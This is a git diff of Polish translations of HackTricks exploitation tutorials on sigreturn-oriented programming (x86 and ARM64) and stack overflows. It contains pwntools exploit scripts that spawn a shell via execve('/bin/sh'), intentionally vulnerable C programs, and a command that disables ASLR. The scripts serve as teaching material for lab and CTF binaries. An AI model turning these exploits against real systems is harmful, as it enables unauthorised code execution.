|
||||
Sprawdź również [**exploit stąd**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html), gdzie plik binarny już wywoływał `sigreturn`, więc nie jest konieczne budowanie tego za pomocą **ROP**:
|
||||
Sprawdź również [**eksploit stąd**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html), gdzie binarka już wywoływała `sigreturn`, więc nie ma potrzeby budować tego z **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -134,31 +135,32 @@ target.sendline(payload) # Send the target payload
|
|||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
## Inne Przykłady i Referencje
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Binarny plik Assembly, który pozwala **zapisywać na stosie** a następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/) poprzez strukturę **sigreturn** i odczytanie flagi znajdującej się w pamięci binarnego pliku.
|
||||
* Program binarny w asemblerze, który pozwala na **zapis do stosu** i następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/) za pomocą struktury **sigreturn** i odczytanie flagi, która znajduje się w pamięci binarnej.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Binarny plik Assembly, który pozwala **zapisywać na stosie** a następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/) poprzez strukturę **sigreturn** (binarny plik zawiera ciąg znaków `/bin/sh`).
|
||||
* Program binarny w asemblerze, który pozwala na **zapis do stosu** i następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/) za pomocą struktury **sigreturn** (program binarny zawiera ciąg `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 bity, brak relro, brak canary, nx, brak pie. Prosty przepełnienie bufora wykorzystujące funkcję `gets` z brakiem gadżetów wykonujących [**ret2syscall**](../rop-syscall-execv/). Łańcuch ROP zapisuje `/bin/sh` w `.bss` poprzez ponowne wywołanie gets, nadużywa funkcji **`alarm`** aby ustawić eax na `0xf` i wywołać **SROP** w celu uruchomienia powłoki.
|
||||
* 64 bity, brak relro, brak canary, nx, brak pie. Prosty przepełnienie bufora wykorzystujące funkcję `gets` z brakiem gadżetów, które wykonują [**ret2syscall**](../rop-syscall-execv/). Łańcuch ROP zapisuje `/bin/sh` w `.bss` wywołując ponownie gets, wykorzystuje funkcję **`alarm`** do ustawienia eax na `0xf`, aby wywołać **SROP** i uruchomić powłokę.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* Program Assembly 64 bitowy, brak relro, brak canary, nx, brak pie. Przepływ umożliwia zapisanie na stosie, kontrolę kilku rejestrów, wywołanie syscall, a następnie wywołanie `exit`. Wybranym syscall'em jest `sigreturn`, który ustawia rejestry, przesuwa `eip` aby wywołać poprzednią instrukcję syscall i uruchomić `memprotect` w celu ustawienia przestrzeni binarnej na `rwx` i ustawienia ESP w przestrzeni binarnej. Kontynuując przepływ, program ponownie wywoła read w ESP, ale w tym przypadku ESP będzie wskazywał na następną instrukcję, więc przekazanie shellcode spowoduje zapisanie go jako następnej instrukcji i jego wykonanie.
|
||||
* Program w asemblerze 64 bity, brak relro, brak canary, nx, brak pie. Przepływ pozwala na zapis do stosu, kontrolę kilku rejestrów i wywołanie syscall, a następnie wywołuje `exit`. Wybrany syscall to `sigreturn`, który ustawi rejestry i przeniesie `eip`, aby wywołać poprzednią instrukcję syscall i uruchomić `memprotect`, aby ustawić przestrzeń binarną na `rwx` i ustawić ESP w przestrzeni binarnej. Kontynuując przepływ, program ponownie wywoła read do ESP, ale w tym przypadku ESP będzie wskazywał na następną instrukcję, więc przekazanie shellcode'u zapisze go jako następną instrukcję i wykona go.
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
* SROP jest używany do nadania uprawnień wykonania (memprotect) miejscu, gdzie umieszczono shellcode.
|
||||
* SROP jest używane do nadania uprawnień wykonawczych (memprotect) miejscu, w którym umieszczono shellcode.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# SROP - ARM64
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Przykład z użyciem Pwntools
|
||||
## Przykład Pwntools
|
||||
|
||||
Ten przykład tworzy podatny plik binarny i wykorzystuje go. Plik binarny **czyta na stos** a następnie wywołuje **`sigreturn`**:
|
||||
Ten przykład tworzy podatny plik binarny i wykorzystuje go. Plik binarny **odczytuje na stos** i następnie wywołuje **`sigreturn`**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -44,7 +45,7 @@ p = process(binary.path)
|
|||
p.send(bytes(frame))
|
||||
p.interactive()
|
||||
```
|
||||
## przykład przepełnienia bufora
|
||||
## bof przykład
|
||||
|
||||
### Kod
|
||||
```c
|
||||
|
@ -79,14 +80,14 @@ do_stuff(2);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Skompiluj to poleceniem:
|
||||
Skompiluj to za pomocą:
|
||||
```bash
|
||||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
## Wykorzystanie
|
||||
## Exploit
|
||||
|
||||
Exploit wykorzystuje bof do powrotu do wywołania **`sigreturn`** i przygotowania stosu do wywołania **`execve`** z wskaźnikiem do `/bin/sh`.
|
||||
Eksploit wykorzystuje bof, aby powrócić do wywołania **`sigreturn`** i przygotować stos do wywołania **`execve`** z wskaźnikiem do `/bin/sh`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -115,7 +116,7 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Przykład użycia przepełnienia bufora bez sigreturn
|
||||
## bof przykład bez sigreturn
|
||||
|
||||
### Kod
|
||||
```c
|
||||
|
@ -142,13 +143,13 @@ char* b = gen_stack();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
## Wykorzystanie
|
||||
## Exploit
|
||||
|
||||
W sekcji **`vdso`** można znaleźć wywołanie **`sigreturn`** na przesunięciu **`0x7b0`**:
|
||||
W sekcji **`vdso`** można znaleźć wywołanie **`sigreturn`** w przesunięciu **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Dlatego, jeśli wycieknie, można **użyć tego adresu do uzyskania dostępu do `sigreturn`**, jeśli binarny go nie ładuje:
|
||||
Dlatego, jeśli zostanie ujawnione, możliwe jest **użycie tego adresu do uzyskania dostępu do `sigreturn`**, jeśli binarka go nie ładuje:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -177,28 +178,29 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Dla więcej informacji na temat vdso sprawdź:
|
||||
Aby uzyskać więcej informacji na temat vdso, sprawdź:
|
||||
|
||||
{% content-ref url="../ret2vdso.md" %}
|
||||
[ret2vdso.md](../ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Aby ominąć adres `/bin/sh`, możesz utworzyć kilka zmiennych środowiskowych wskazujących na niego, dla więcej informacji:
|
||||
Aby obejść adres `/bin/sh`, możesz utworzyć kilka zmiennych środowiskowych wskazujących na ten adres, aby uzyskać więcej informacji:
|
||||
|
||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Przepełnienie stosu
|
||||
# Stack Overflow
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Co to jest przepełnienie stosu
|
||||
## Co to jest Stack Overflow
|
||||
|
||||
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane spowodują **nadpisanie sąsiedniego obszaru pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu kontroli i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
|
||||
**Stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
|
||||
|
||||
Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**.
|
||||
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**.
|
||||
|
||||
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
|
||||
Luka ta zazwyczaj pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.
|
||||
|
||||
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
|
||||
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
|
||||
|
||||
Na przykład, następujące funkcje mogą być podatne:
|
||||
```c
|
||||
|
@ -33,15 +34,15 @@ gets(buffer); // This is where the vulnerability lies
|
|||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Znajdowanie przesunięć przepełnień stosu
|
||||
### Znajdowanie offsetów przepełnienia stosu
|
||||
|
||||
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z literami `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie `Segmentation Fault`, co wskazuje, że próbowano uzyskać dostęp do **adresu `0x41414141`**.
|
||||
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
|
||||
|
||||
Co więcej, gdy już odkryjesz, że istnieje podatność na przepełnienie stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, w tym celu zazwyczaj używany jest **ciąg De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podciągów o długości _n_, jest to **cykliczny ciąg, w którym każdy możliwy podciąg o długości _n_** występuje dokładnie raz **jako ciągły podciąg**.
|
||||
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć offset, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencjach o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości \_n**\_\*\* występuje dokładnie raz\*\* jako kontiguująca podsekwencja.
|
||||
|
||||
W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednego z tych ciągów jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które skończyły nadpisywać go.
|
||||
W ten sposób, zamiast ręcznie ustalać, jaki offset jest potrzebny do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć offset bajtów, które zakończyły nadpisanie.
|
||||
|
||||
Można to zrobić za pomocą **pwntools**:
|
||||
Można użyć **pwntools** do tego:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -62,14 +63,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
```
|
||||
## Wykorzystywanie przepełnień stosu
|
||||
|
||||
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanego **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||||
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, więc gdy funkcja się kończy, **przepływ sterowania zostanie przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
|
||||
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||||
Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
|
||||
|
||||
Jednakże, w innych scenariuszach może być wystarczające jedynie **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
|
||||
Jednak w innych scenariuszach może wystarczyć po prostu **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania adresu powrotu** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc gdy podatna funkcja zakończy działanie, ukryta funkcja zostanie wywołana:
|
||||
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będzie wyłączony), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana:
|
||||
|
||||
{% content-ref url="ret2win/" %}
|
||||
[ret2win](ret2win/)
|
||||
|
@ -77,15 +78,15 @@ W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, kt
|
|||
|
||||
### Shellcode na stosie
|
||||
|
||||
W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod:
|
||||
W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
|
||||
|
||||
{% content-ref url="stack-shellcode/" %}
|
||||
[stack-shellcode](stack-shellcode/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ROP i techniki Ret2...
|
||||
### Techniki ROP i Ret2...
|
||||
|
||||
Ta technika stanowi podstawową strukturę do ominięcia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. I pozwala na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
|
||||
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/" %}
|
||||
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
||||
|
@ -93,16 +94,31 @@ Ta technika stanowi podstawową strukturę do ominięcia głównej ochrony poprz
|
|||
|
||||
## Przepełnienia sterty
|
||||
|
||||
Przepełnienie nie zawsze musi wystąpić na stosie, może również wystąpić w **stercie**, na przykład:
|
||||
Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wystąpić w **stercie**, na przykład:
|
||||
|
||||
{% content-ref url="../libc-heap/heap-overflow.md" %}
|
||||
[heap-overflow.md](../libc-heap/heap-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Rodzaje zabezpieczeń
|
||||
## Rodzaje ochrony
|
||||
|
||||
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je tutaj:
|
||||
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,55 @@
|
|||
# Przekierowywanie wskaźników
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
